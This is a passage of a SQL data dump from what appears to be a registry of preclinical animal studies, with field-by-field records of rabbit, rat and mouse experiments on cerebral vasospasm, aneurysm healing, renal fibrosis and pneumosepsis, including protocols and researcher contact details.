(cell line 2); mice non-stimulated\"}]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8781,234,'title','\"The role of the vasoprotectant losartan in prevention of delayed cerebral vasospasm and neuronal injury after experimentally-induced subarachnoid hemorrhage in rabbits\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8782,234,'contact_name','\"Stefan Wanderer\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8783,234,'contact_role','\"Executive researcher\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8784,234,'contact_email','\"stefan_wanderer86@gmx.de\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8785,234,'study_centre','[{\"name\":\"Experimental Surgery Facility\",\"city\":\"Bern\",\"country\":\"CH\"}]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8786,234,'financial_support','[\"investigator_driven\",\"grants\"]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8787,234,'start_date','\"2022-01-02\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8788,234,'end_date','\"2022-12-29\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8789,234,'study_status','\"not_started\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8790,234,'application_number','\"(BE76\\/18, 30520)\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8791,234,'research_field','\"Neuroscience.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8792,234,'hypothesis','\"Following hypotheses are postulated:\\nH0: no difference between the losartan group compared to SAH in incidence of dCVS will be observed. \\nH1: Losartan shows a clearly reduction of dCVS compared to the SAH group.\\n\\nThe main objective of this study is to demonstrate that after aSAH a systemic losartan administration dramatically reduces symptomatic dCVS and delayed cerebral ischemia, as well as other aspects of the multifactorial process responsible for poor patient\\u2019s outcome (cerebral inflammation, early brain injury) are influenced in a beneficial fashion.\\n\\nWe hypothesize a beneficial effect of a systemic losartan application on \\n1.\\tlowering the incidence of delayed cerebral vasospasm (angiographically and concerning HES staining of the basilar \\n        artery)\\n2.\\tdiminishing cerebral inflammation (concentration of PGF2a) in CSF\\n3.\\talleviating PGF2a- and ET-1-levels in CSF and systemically after SAH\\n4.\\tthe ammount of neuronal injury of hippocampal and basilar artery histology slices (stainings used are TUNEL, \\n        DAPI, Neuro N, Fluoro Jade B, fibrinogen for detecting microthromboses) \\n5.\\tthe distribution of ET-A- and ET-B1-receptor expression in immunohistochemical staining in favour of a decreased \\n        ET-A-receptor or increased ET-B1-receptor expression.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8793,234,'intervention_type','\"compound\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8794,234,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8795,234,'primary_readout_parameter','\"All procedures will be proceeded in compliance with the Swiss Federal Guidelines for animal experiments. After animal arrival an acclimatization period of 2 weeks is granted. Operative procedures are performed in general anesthesia and animals will be randomized in 3 groups: 1) aSAH group without medication (n=12), 2) aSAH group with early and late losartan medication (n=12) and 3) sham group (n=8) without medication. On day 0, arterial blood sampling is performed, afterwards a baseline digital subtraction angiography (DSA) and CSF collection. Next an intracranial pressure probe is inserted. Afterwards SAH is induced in the first 2 groups by extracranial-intracranial shunting from the subclavian artery into the Cisterna Magna. In the 2nd group losartan will be administered intravenously (early medication, direct postoperatively (n=6)) and orally on day 1, 2, and 3 after SAH (n=6). DSA is performed to measure the diameter of the basilar artery, CSF and blood samples are taken day 0 previous to SAH and at follow up (day 3). ET-1-\\/PGF2a-plasma and -CSF levels are measured by ELISA-Kits. ET-A- and ET-B1-receptor expression, likewise neuronal injury is quantitatively assessed via corresponding immunohistological staining.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8796,234,'secondary_readout_parameter','\"Morbidity and mortality of this animal model comparing a continuous rate of fentanyl- versus ketamin-infusion during anesthesia.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8797,234,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8798,234,'species','\"rabbit\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8799,234,'strain','\"New Zealand White rabbits\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8800,234,'sex','\"female\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8801,234,'experimental_design','\"GENERAL\\nAll animal experiments of this single center trial will be conducted under general anesthesia supervised by a veterinarian in the experimental Surgical Station (ESF), University Hospital Bern. The audit, funding, and coordination of experimental research projects is run and supervised by the NeuroResearchOffice at the Kantonsspital Aarau.\\n\\nRANDOMIZATION\\nFor investigations 32 female new zealand white rabbits, 16-18 weeks aged, are analyzed. The animals will randomly be assigned to three groups: 1) aSAH Group (no drug application), 2) aSAH Group (early and late drug application) and 3) Sham Group (no drug application).\\n\\nANESTHESIA\\nFollowing clinical examination and weighing of each animal, induction of anesthesia is performed by ketamine HCl (30 mg\\/kg) (Ketalar 50 mg\\/ml) and xylazine (6 mg\\/kg) (Xylapan 20 mg\\/ml) subcutaneously. Afterwards the animals are left alone for at least 10 minutes, then shaved and instrumented. After administration of 2-4 l oxygen via mask, a 22-24 G catheter is inserted into the ear artery and a 22-24 G cannula is inserted into the ear vein. ECG electrodes are placed. A fentanyl patch (12 mcg\\/h) is glued to the outer ear after shaving and cleaning. Prior to incision, ropivacaine 1% (max. 3 mg\\/kg) is infiltrated into the axillary region (access to the subclavian artery). After transport to the operating room, pre-oxygenation takes place and, after reevaluation of the depth of anesthesia, midazolam (0.2-1 mg\\/kg) and possibly propofol (1-6 mg\\/kg) are injected. Thereafter, a laryngeal mask is introduced under capnographic control. Fluid therapy is maintained with ringer lactate (3-10 ml\\/kg\\/h). During anesthesia, continuous monitoring of cardiac and respiratory rates, oxygen saturation, blood pressure (invasive and noninvasive), temperature, and inhaled and expiratory gas fractions (O2, CO2, isoflurane) are performed. At least one arterial blood gas analysis is performed. Anesthesia is maintained with isoflurane\\/O2 (target EtIso 1.3%). Analgesia is maintained at a continuous infusion rate of either fentanyl (5 mcg\\/kg\\/hr) or ketamine (1.2 mg\\/kg\\/hr). Pain perception (autonomic responses) is monitored continuously and in case of change of one of the 3 parameters (blood pressure, respiratory rate, heart rate) and\\/or foot reflex to toe pinch or spontaneous an additional bolus fentanyl (3 mcg\\/kg) is applied. Hypothermia is treated by means of heating mat or similar (e.g., bear hugger, forced-air). Hypotension is treated with inotropica and vasopressors. In case of respiratory arrest, the animal is temporarily ventilated manually or mechanically. \\n\\nAfter the operation, the laryngeal mask is removed with intact reflexes and an initial continuous monitoring of the respiratory and heart rate is installed, followed by regular controls (5-10 minutes interval) in the recovery phase. The vascular accesses are taken during waking and breast-stable animals. All anesthetical procedures and perioperative care will be provided by the staff of the experimental surgery station, under the leadership of Drs. med. vet. Daniela Casoni. During the recovery phase and for the following 72 hours, a generous analgesia is administered by means of fentanyl and possibly also methadone. Pain scoring is continued until 72 hours after subarachnoid hemorrhage (SAH) induction and methadone is given as needed. \\n\\nOPERATIVE PROCEDURES DAY 0 \\nFor the preparation of the subclavian artery, all 3 rabbit groups are placed in supine position. The surgical field is aseptically passed, before incision and after preparation of the plexus ropivacaine 0.75% (maximum 3 mg\\/kg) administered. Microsurgical catheterization of the artery is performed (20 G Arrow Seldinger Arterial Catheter, Teleflex Incorporated, USA), the catheter adequately fixed with safety sutures. This is followed by blood sampling of 1-2 ml directly via the cannulated subclavian artery. \\nAfterwards a digital subtraction angiography (DSA) with intra-arterial bolus injection of non-ionic iopamidol (0.6 ml\\/kg) (Iopamiro, Bracoo Suisse, Switzerland) is performed. Sequential images of the vetebro-basilar system are acquired (baseline). Following baseline DSA, the careful rearrangement of the rabbit in prone position takes place, taking into account the intraarterial catheter position and spontaneous respiration of the rabbit. After correct positioning, the operation field for placement of the ICP probe is sterile covered. Now in all 3 groups the cerebrospinal fluid is extracted by introducing a 22 G needle into the cisterna magna (aspiration of cerebrospinal fluid, approx. 0.2-0.5 ml and substitution of cerebrospinal fluid with artificial cerebro-spinal fluid at approx. 0.2-0.5 ml (R &amp; D Systems); important is a slow injection to avoid a respiratory depression). Following an ICP probe is inserted in all groups. Therefore, based on external skull landmarks, 1 round osteotomy (2 mm in diameter) is performed centrally under the microscope (OMPI-MD surgical microscope, Carl Zeiss AG, Jena, Germany) with a high-speed microdrill (Stryker\\u00ae Micro Drill, Selzach, Solothurn, Switzerland). When the dura is exposed, hemostasis is performed with bone wax and bipolar coagulation. After corticotomy, the catheter tip of an intracranial pressure probe (OLM Intracranial Pressure Monitoring Kit, Camino, Model 110-4B, Camino Labratories, San Diego, CA, USA) is inserted to a depth of 2 mm. Remaining open craniotomy sites are sealed with bone wax. The ICP is continuously registered with a Camino multiplanar monitor (IntegraTM, Plainsboro, NJ, USA). Now subarachnoid hemorrhage (SAH) is performed under sterile conditions by connecting the cannulated subclavian artery with the needle located in the cisterna magna. During this step, care is taken to ensure that the position of the needle does not change. After connection and opening the interposed 3-way walve, SAH starts. After one minute, the 3-way walve is closed again. Intracranial pressure is measured throughout the period of bleeding, as well as 9 more minutes while returning to the baseline. Further changes of the cerebral perfusion pressure as well as the respiratory pattern are monitored. The needle will be withdrawn after 1 minute, the ICP probe after further 9 minutes. After removal of the ICP probe, bony defects are sealed with bone wax. Wound closure cranially is performed under sterile conditions. Now rearrangement of the rabbit in supine position takes place, followed by removal of the subcalvian catheter and wound closure.\\n\\nPOSTOPERATIVE PAIN ASSESSMENT\\nAttempts to evaluate the pain in rabbits are difficult because individual behavior can vary widely. Also, rabbits hide, in the presence of hunters (us), pain. Furthermore, the responses to anxiety and pain in rabbits are difficult to differentiate. Based on these facts, the judgment is made from a certain distance of 2-3 meters, carried out according to the guidelines for the assessment and management of pain in rodents and rabbits &quot;by the American College of Laboratory Animal Medicine&quot;. With only one feature of pain within the observation period of 10 minutes, the administration of methadone 0.2 mg\\/kg follows subcutaneously. Abnormal movements as such are not assessed as neurological deficits, because they are common after SAH and not associated with pain. In addition to periodically completing an animal health score sheet, the animal\'s pain is also monitored using the Rabbit Grimace Scale and quantitative sensory testing, hyperalgesia and allodynia; likewise, a mechanical algometry and a free filament testing is performed at least 2 times a day.\\n\\nDRUG ADMINISTRATION\\nDay 1, 2, 3: in the delayed losartan group medication will be administered orally (Merck Sharp &amp; Dohme, Lucerne: 25 mg\\/kg bw).\\nDay 1: postoperatively, the early losartan group will start with the drug intravenously administered (Merck Research Laboratories, Rahway, NJ: 100 mcg\\/kg bw for 45 minutes).\\n\\nOPERATIVE PROCEDURES DAY 3\\nAnesthesia and analgesia are performed in the same fashion like on day 0. The fentanyl patch remains in situ. Cannulation of the subclavian artery of the opposite side is analogous to day 0. Blood collection of 1-2 ml follows via the ear vein, a follow-up angiography is performed. Afterwards removal of the arterial catheter takes place followed by repositioning on the back and puncture of the cisterna magna with CSF extraction (about 0.5 ml) using a 22 G spinal needle. During operative procedures on day 0 and 3, anesthesia depth and analgesia are assessed according to clinical parameters as well as with continuous monitoring of vital signs in a 5-minute interval. The continuation of the experiments only occurs with adequate anesthesia and in absence of any nociception. In case of surgery-related irreparable severe collateral damage (vessel perforation in angiography), the animal is euthanized directly. If postoperatively day 0 the animal shows an inadequate intake of food or water, supportive measures (assisted feeding) are initiated. Should the animal suffer from severe neurological deficits or show a value greater than or equal 1.2 related to the cut off value in the animal health score sheet, euthanasia will be performed. Death at the time of follow-up is initiated by a lethal dose of pentobarbital 120mg\\/kg i.v. (Pentothal, Abbott), injected via butterfly in the ear vein. After follow-up investigations on day 3 animals will be euthanized, perfused and the removed brain fixed in formalin.\\n\\nSAMPLE\\/DATA ANALYSIS\\nAngiographic analysis: the differentiation in the diameter of the basilar artery between baseline and follow-up angiography are assessed using an image analysis program (Image J, NIH). The angiographically determined vessel diameter between the 3 groups will be statistically evaluated and compared.\\n\\nCerebrospinal fluid- and blood-sample analysis: CSF is first centrifuged for 20 minutes at 1000 g. The supernatant is pipetted off and CSF stored at -80 \\u00b0 C until day of analysis. The withdrawn blood is also stored at -80 \\u00b0 C until analysis and centrifuged in advance. PGF2a and ET-1 levels are quantitated by enzyme linked immunosorbent assay. PGF2a and ET-1 concentrations will be statistically evaluated and compared.\\n\\nHistological analyses: immediately after euthanasia, a perfusion-fixation will be performed using 500 mL of ice-cold 0.9% NaCl followed by 300 mL of 4% paraformaldehyde under a perfusion-pressure of 100 cmH2O. The brains are removed and immersed in 4% paraformaldehyde over night at 4\\u00b0C. Afterwards they are immersed in 0.9% NaCl at 4\\u00b0C until further processing. Brains are cut into 4 blocks between forebrain and cerebellum, and embedded in paraffin. Paraffin-embedded blocks will be sliced into 3 \\u03bcm sections using a microtome and mounted on glass-slides. The most representative fields containing the hippocampus and basal cortex are selected for staining. For the quantitative assessment of neuronal injury, terminal deoxynucleotidyl transferase dUTP nick end labeling (TUNEL) staining is performed (In Situ Cell Death Detection Kit, Roche, Switzerland). Staining is performed according to the manufacturers\\u2019 instructions. Slides are counter-stained with 4\\u2032,6-diamidino-2-phenylindole (DAPI-Methanol, Roche, Basel, Switzerland). Predefined regions of interest (ROIs) - three hippocampal and two cortical regions in each hemisphere \\u2013 are photographed at 100x magnification. The cumulative number of TUNEL positive cells is counted. Damage to neuronal structures is histologically also evaluated by Fluoro Jade B- and Neuro N-staining. Hematoxylin &amp; Eosin staining of the basilar artery will be performed for the histological evaluation of vasospasm. The assessment is based on qualitative aspects such as thickening of the internal lamina and contraction of smooth muscle cells. The quantitative measured values are statistically evaluated. Likewise, cerebral microthromboses are recorded histologically. For application, a one-way ANOVA followed by a post-hoc analysis, using the Turkey-Kramer method if there is a normal distribution or Tamhane\'s T post-hoc analysis if no normal distribution is available. Correlation analyzes (Pearson or Spearman Correlation) are also done between the provided parameters. A p-value &lt; 0.05 is considered statistically significant.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8802,234,'randomisation','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8803,234,'randomisation_method_used','\"other\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8804,234,'other_randomisation_method','\"Web-based randomization system (www.sealedenvelope.com).\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8805,234,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8806,234,'sum_of_animals','\"In total 32 animals are going to be analyzed, with corresponding drop-outs we expect 23 animals left for final analysis.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8807,234,'sample_size_calculation','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8808,234,'study_arms','[{\"type\":\"sham\",\"number\":\"8\",\"intervention\":\"\"},{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"SAH\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"SAH + losartan administration\"}]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8809,234,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8810,234,'investigators_blinded_assessment','\"no\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8811,234,'placebo_controlled','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8812,234,'has_embargo','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8813,235,'title','\"Topographic Distribution of Inflammation Factors in a healing Aneurysm\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8814,235,'short_title','\"Topography of inlfammation markers\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8815,235,'contact_name','\"Basil Gr\\u00fcter\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8816,235,'contact_role','\"PI\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8817,235,'contact_email','\"basil.grueter@ksa.ch\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8818,235,'study_centre','[{\"name\":\"Department for BioMedical Research (DBMR), Cerebrovascular Reserach Group\",\"city\":\"Aarau\\/Bern\",\"country\":\"CH\"}]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8819,235,'financial_support','[\"grants\"]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8820,235,'start_date','\"2020-12-01\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8821,235,'end_date','\"2021-09-30\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8822,235,'study_status','\"active\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8823,235,'research_field','\"Cerebrovascular Neurosurgery\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8824,235,'hypothesis','\"ntracranial aneurysms are pathological saculations of brain feeding arteries. Their incidence is estimated to be between 2% and 3%, with a rupture rate of 6-8 cases \\/ 100,000 in most western populations. Aneurysmatic subarachnoidal haemorrhages are a devastating disease, being lethal in approximately 50%, and 30% of the survivors suffer from permanent neurological deficits. As of today, the biologic processes of aneurysm growth and eventual rupture are still insufficiently understood. Whereas some aneurysms remain stable over years, others may rapidly grow or rupture despite being relatively small. Human histopathological studies suggest rarefication of mural cells in the aneurysm wall accompanied by smooth muscle cell proliferation and phenotype switch and mural macrophage infiltration to be important factors promoting aneurysm growth and rupture. Thus, despite the need of inflammation reaction to induce intraaneurysmal thrombus formation and neointima formation, overwhelming inflammation is harmful and will promote aneurysm growth and rupture. \\nExperimental aneurysms are created in adult male Wistar rats by end-to-side anastomosis of an arterial saccular graft of syngeneic donor rats. Rats will be randomly divided in three  groups: 1) natural course of aneurysm 2) coil treatment and 3) treatment with stent and coils (stent assisted coiling). After a defined follow-up period of 7 and 28 days, respectively animals undergo fluorescence angiography to determine aneurysm perfusion\\/healing status, followed by euthanasia and aneurysm harvesting. Tissue samples of the aneurysms are then processed for classical histological stainings (HE SMA, MASA) and for in-situ hybridisation of soluble inflammatory cytokines (IL-1\\u03b2, IL6, TNF-\\u03b1, IFN-\\u03b3, VEGF, MMP2, MMP-9, TIMP).\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8825,235,'intervention_type','\"surgery\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8826,235,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8827,235,'primary_readout_parameter','\"Primary endpoints include: the topographic distribution of soluble inflammation markers (IL-1\\u03b2, IL6, TNF-\\u03b1, IFN-\\u03b3, VEGF, MMP2, MMP-9, TIMP). Quality of intraluminal thrombus organization, neointima formation, and reendothelialization of the parent artery. Aneurysm wall degeneration. Periadventitial, wall and intraluminal inflammation. \"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8828,235,'secondary_readout_parameter','\"Secondary endpoints include: Aneurysm growth and rupture. Aneurysm occlusion by means macroscopic and angiographic signs of aneurysm recurrence. Parent artery integrity (stenosis and thrombosis).\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8829,235,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8830,235,'species','\"rat\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8831,235,'strain','\"Wistar\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8832,235,'sex','\"male\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8833,235,'sample_size_calculation','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8834,235,'sum_of_animals','\"66\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8835,235,'study_arms','[{\"type\":\"intervention\",\"number\":\"18\",\"intervention\":\"Coil\"},{\"type\":\"control\",\"number\":\"18\",\"intervention\":\"natural course\"},{\"type\":\"intervention\",\"number\":\"18\",\"intervention\":\"Stent + Coil\"},{\"type\":\"other\",\"number\":\"12\",\"intervention\":\"Donors\"}]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8836,235,'randomisation','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8837,235,'randomisation_method_used','\"coin-toss\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8838,235,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8839,235,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8840,235,'investigators_blinded_assessment','\"yes_partially\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8841,235,'yes_blinded_assessment_how_details','\"Histologial stains are labelled with an ID which does not provide information on treatment category. However, treatment may be seen by observers in these slides (i.e. coil materials)\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8842,235,'placebo_controlled','\"not applicable\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8843,235,'original_animal_ethics_committee_application','\"Veterin\\u00e4rdienst des Kantons BE\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8844,235,'application_number','\"BE 60\\/19\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8845,235,'has_embargo','\"no\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8846,235,'experimental_design','\"The Helsinki rat microsurgical sidewall aneurysm model \\n\\nPlease refer to J Vis Exp. 2014 Oct 12;(92):e51071. doi: 10.3791\\/51071 for further details\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8847,236,'species','\"rat\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8848,236,'sex','\"both\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8849,234,'sample_size_calculation_details','\"The numbers of animals provided are based on the rate indicated in the literature for similar animal models. With the quantities selected below, we would have a rough comparison with the data of previously published series. The animals are randomized into three groups using sealedenvelope (www.sealedenvelope.com): 1) aSAH group n=12 (only SAH, no drugs), 2) aSAH group + early losartan group n=6; SAH Group + late losartan n=6; 3) sham group n=8 (no SAH, no losartan). Sensitivity Power Analysis was performed using &quot;G-Power Data Analysis and Power Calculation for One-way Independent ANOVA&quot;. So far, the mortality rate of up to 30% has been judged realistic on the basis of our past experience. Based on previous studies on the same model, we estimate an expected spasm reduction of about 30%. This results in a presumed effect size of 0.75; with this and setting an error of 0.05 and a power of 80%, a sample of 18 rabbits results, 9 rabbits per group. Based on the majority of previous studies, we generously expect a mortality of approximately 30% per group, which makes 2.7 (rounded up 3) rabbits per group. Added to the calculated sample (9 + 3), there are 12 rabbits in the SAH and losartan group. For the sham group, taking into account the given mortality rates, we will use 8 rabbits. Further reduction of the animals does not seem useful.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8850,237,'title','\"Anti-CTGF treatment in renal ischemia-reperfusion injury\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8851,237,'short_title','\"Anti-CTGF treatment in renal IRI\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8852,237,'study_centre','[{\"name\":\"UMC Utrecht\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8853,237,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8854,237,'start_date','\"2021-04-26\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8855,237,'end_date','\"2021-06-25\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8856,237,'study_status','\"active\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8857,237,'research_field','\"Renal pathology\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8858,237,'hypothesis','\"The hypothesis is that the administration of the anti-CTGF antibody reduces the development of tubulointerstitial fibrosis due to ischemia-reperfusion injury, possibly due to a decrease in senescent cells. \"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8859,237,'intervention_type','\"compound\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8860,237,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8861,237,'primary_readout_parameter','\"The primary readout parameter is the development of tubulointerstitial fibrosis, assessed by Masson\'s trichroom and PAS staining.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8862,237,'secondary_readout_parameter','\"The secondary readut parameter is the accumulation of senescent cells (assessed by various immunehistochemical stainings and qPCR)\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8863,237,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8864,237,'species','\"mouse\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8865,237,'strain','\"C57Bl6\\/J\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8866,237,'sex','\"male\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8867,237,'experimental_design','\"The mice are divided into three ischemia-reperfusion groups and receive intraperitoneal injections of: 1) the anti-CTGF antibody, 2) human IgG or 3) PBS. Also, there is 1 sham group receiving intraperitoneal injections of PBS.\\nThe mice receive an intraperitoneal injection of anti-CTGF (40mg\\/kg) or IgG or PBS twice a week starting 2 weeks before surgery and for 6 weeks after surgery. 6 weeks after surgery, the mice are sacrificed. \"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8868,237,'sample_size_calculation','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8869,237,'sample_size_calculation_details','\"A power of 0.85 and alpha of 0.0167 (due to Bonferoni correction 0.05\\/3=0.0167) results in a detectable effect size of 25%. An SD of 15% is taken into account. In the sham groups, a lesser spread is counted. Considering this, the required number of mice per group undergoing the operation is 11. Taking into account a failure of 10%, this equates to 12 mice per group. Due to a lower degree of spread in the mice undergoing sham surgery, 6 mice per group are needed, plus 1 to account for failure, resulting in 7 mice.  \"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8870,237,'sum_of_animals','\"43 animals\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8871,237,'study_arms','[{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"IRI + anti-CTGF treatment\"},{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"IRI + human IgG \"},{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"IRI + PBS\"},{\"type\":\"sham\",\"number\":\"7\",\"intervention\":\"sham + PBS\"}]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8872,237,'randomisation','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8873,237,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8874,237,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8875,237,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8876,237,'yes_blinded_intervention_partially_details','\"For the treatments, the stock solutions are made by a non-blinded person who encodes the treatments and delivers them to the researchers.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8877,237,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8878,237,'yes_blinded_assessment_partially_details','\"For the data analysis, the samples are encoded and only when analyzing the results will the encoding be linked to the correct mouse numbers.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8879,237,'placebo_controlled','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8880,237,'application_number','\"AVD1150020197987\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8881,237,'has_embargo','\"no\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8882,237,'contact_name','\"Floris Valentijn\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8883,237,'contact_role','\"Executive researcher\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8884,237,'contact_email','\"F.A.Valentijn@umcutrecht.nl\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8885,238,'title','\"Tenascin-C deficiency is associated with reduced bacterial outgrowth during Klebsiella pneumoniae-evoked pneumosepsis in mice\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8886,238,'short_title','\"Tenascin C during gram-negative sepsis\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8887,238,'contact_name','\"Mariska Meijer\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8888,238,'contact_role','\"Executive researcher\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8889,238,'contact_email','\"m.t.meijer@amsterdamumc.nl\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8890,238,'study_centre','[{\"name\":\"Amsterdam University Medical Centers location AMC\",\"city\":\"Amsterdam\",\"country\":\"NL\"}]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8891,238,'financial_support','[\"investigator_driven\",\"grants\"]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8892,238,'start_date','\"2017-04-01\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8893,238,'end_date','\"2020-02-14\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8894,238,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8895,238,'research_field','\"Infection and immunity, immunology, infectious diseases\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8896,238,'hypothesis','\"Does Tenascin C regulate the immune response during pneumosepsis caused by Klebsiella Pneumoniae, and how does it affect bacterial outgrowth and dissemination.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8897,238,'intervention_type','\"not_applicable\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
